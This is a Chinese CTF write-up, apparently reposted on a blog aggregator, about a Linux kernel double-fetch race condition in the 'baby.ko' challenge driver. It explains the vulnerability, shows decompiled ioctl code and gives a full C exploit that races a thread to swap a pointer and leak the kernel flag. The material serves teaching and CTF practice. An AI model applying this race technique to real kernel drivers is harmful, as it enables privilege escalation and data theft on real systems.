我是靠谱客的博主 天真刺猬,最近开发中收集的这篇文章主要介绍老表带你学Linux kernel pwn 入门(三)写在前面第一章 基础知识准备第二章 目标准备与分析第三章 poc编写调试思路第四章 参考资料,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文章目录

  • 写在前面
  • 第一章 基础知识准备
    • 2.1 Double_Fetch 漏洞简介
  • 第二章 目标准备与分析
    • 2.1 逆向分析baby.ko
      • 2.1.1 分析驱动注册函数`init_module`
      • 2.1.2 分析设备交互函数`babay_ioctl`
  • 第三章 poc编写调试思路
    • 3.1 flag长度泄露(后补)
    • 3.3 完整的exp
  • 第四章 参考资料

写在前面

本篇是老表带你学linux kernel pwn 系列的第三篇,展示在面对包含double Fetch这种漏洞赛题解题方式。新手上路,详细记录。

第一章 基础知识准备

2.1 Double_Fetch 漏洞简介

以下是ctfwiki中堆Double_Fetch的定义与解释

Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争。

在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。

一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。

典型的Double Fetch原理图
图片来自ctfwiki。

第二章 目标准备与分析

2.1 逆向分析baby.ko

2.1.1 分析驱动注册函数init_module

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iSXfRTok-1605147153759)(C:UsersSiameseAppDataRoamingTyporatypora-user-imagesimage-20201111105541064.png)]

baby.ko注册了一个misc设备baby

2.1.2 分析设备交互函数babay_ioctl

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xfv45FBa-1605147153760)(C:UsersSiameseAppDataRoamingTyporatypora-user-imagesimage-20201111105745093.png)]

  • a2=0x6666

    a2值为 0 x 6666 0x6666 0x6666时,打印出flag值所在内核中的地址

      if ( (_DWORD)command == 0x6666 )
      {
        printk("Your flag is at %px! But I don't think you know it's contentn", flag);
        result = 0LL;
      }
    
  • a2=0x1337

    a2值为 0 x 1337 0x1337 0x1337时,先做检查,检查通过逐字节比较flag与v5的异同,通过则会打印flag的值

      else if ( (_DWORD)command == 0x1337
             && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358))
             && !_chk_range_not_ok(
                   *(_QWORD *)v5,
                   *(signed int *)(v5 + 8),
                   *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358))
             && *(_DWORD *)(v5 + 8) == strlen(flag) )//通过检查
          
      {
        for ( i = 0; i < strlen(flag); ++i )
        {
          if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] ) //逐字节比较
            return 22LL;
        }
        printk("Looks like the flag is not a secret anymore. So here is it %sn", flag);
        result = 0LL;
      }
    
    • 查看flag值

      .data:0000000000000480 flag            dq offset aFlagThisWillBe
      .data:0000000000000480                                         ; DATA XREF: baby_ioctl+2A↑r
      .data:0000000000000480                                         ; baby_ioctl+DB↑r ...
      .data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
      .data:0000000000000488                 align 20h
      
    • _chk_range_not_ok(a,b,c)函数功能

      bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
      {
        unsigned __int8 v3; // cf
        unsigned __int64 v4; // rdi
        bool result; // al
      
        v3 = __CFADD__(a2, a1);
        v4 = a2 + a1;
        if ( v3 )
          result = 1;
        else
          result = a3 < v4;
        return result;
      }
      

      功能判断 a + b > c a+b>c a+b>c

      !_chk_range_not_ok(buf, 0x10LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358)

      !_chk_range_not_ok(*(_QWORD *)v5,*(signed int *)(v5 + 8),*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358))

      这两个条件判断buf地址小于一个特定的地址,同时判断v5和v5+8小于一个特定的地址。

      v5+8为flag的长度

    • v5数据的模样分析

      可以猜一下传递进去的buf的数据结构

      typedef struct {  
         char *flag_addr;  
         size_t len;  
      } Data;
      

第三章 poc编写调试思路

总体的利用思路是,在进入for循环检验flag时,利用一个Double_fetch进行对结构体的篡改,让flag自己与自己比较从而输出flag,由于提交exp时是在远端服务器,因此需要泄露flag的长度,然后在利用一个恶意线程不断修改flag的地址。如果是解题从ida中看到flag长度,则直接跳到3.3,流程完整来说应该做一个buf长度的泄露。

3.1 flag长度泄露(后补)

本地的baby.ko是否与远端的一致不好说,可以利用if分支返回值14LL来确认

//--泄露flag长度的exp

3.3 完整的exp

这份exp来自xman冬令营某个大佬,记不清了

/*b2
 * exp.c
 * Copyright (C) 2019 saltedfish <17302010022@fudan.edu.cn>
 *
 * Distributed under terms of the MIT license.
 */

#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
int finish = 0;
struct message{
    char * buf;
    long len;
};
struct message my_message;
void change_attr_value(unsigned long addr){
    while(finish==0){
        puts("changing");
    my_message.buf = addr;
    }
}
int main(int argc, char *argv[]){
    int fd = open("/dev/baby",0);
    ioctl(fd,0x6666);
    system("dmesg > /tmp/record.txt");
    int tmp_fd = open("/tmp/record.txt",O_RDONLY);
    char temp[0x1000];
    lseek(tmp_fd,-0x100,SEEK_END);
    read(tmp_fd,temp,0x100);
    char * idx = strstr(temp,"Your flag is at ");
    if (idx == 0){
        printf("[-]Not found addr");
        exit(-1);
    }
        close(tmp_fd);
    idx+=16;
    unsigned long addr = strtoull(idx,idx+16,16);

    puts("------addr----------");
    printf("%pn",addr);
    my_message.buf = temp;
    my_message.len = 33;
        pthread_t t1;
        pthread_create(&t1,NULL,change_attr_value,addr);
        tmp_fd = open("/tmp/record2.txt",O_RDONLY);
    for (int i = 0 ; i < 1000; i++){
                my_message.buf = temp;
        ioctl(fd,0x1337,&my_message);
    }
        finish = 1;
        printf("%s n",temp);
    return 0;
}

第四章 参考资料

[1] https://blog.csdn.net/seaaseesa/article/details/104537991
[2] https://mp.weixin.qq.com/s/_xh9vAJbvRZGxHEl4Xn_ig
[3] https://www.cnblogs.com/T1e9u/p/13837662.html
[4] https://xz.aliyun.com/t/7625#toc-13
[5] https://x3h1n.github.io/2019/08/27/20180ctf-final-baby/

最后

以上就是天真刺猬为你收集整理的老表带你学Linux kernel pwn 入门(三)写在前面第一章 基础知识准备第二章 目标准备与分析第三章 poc编写调试思路第四章 参考资料的全部内容,希望文章能够帮你解决老表带你学Linux kernel pwn 入门(三)写在前面第一章 基础知识准备第二章 目标准备与分析第三章 poc编写调试思路第四章 参考资料所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(48)

评论列表共有 0 条评论

立即
投稿
返回
顶部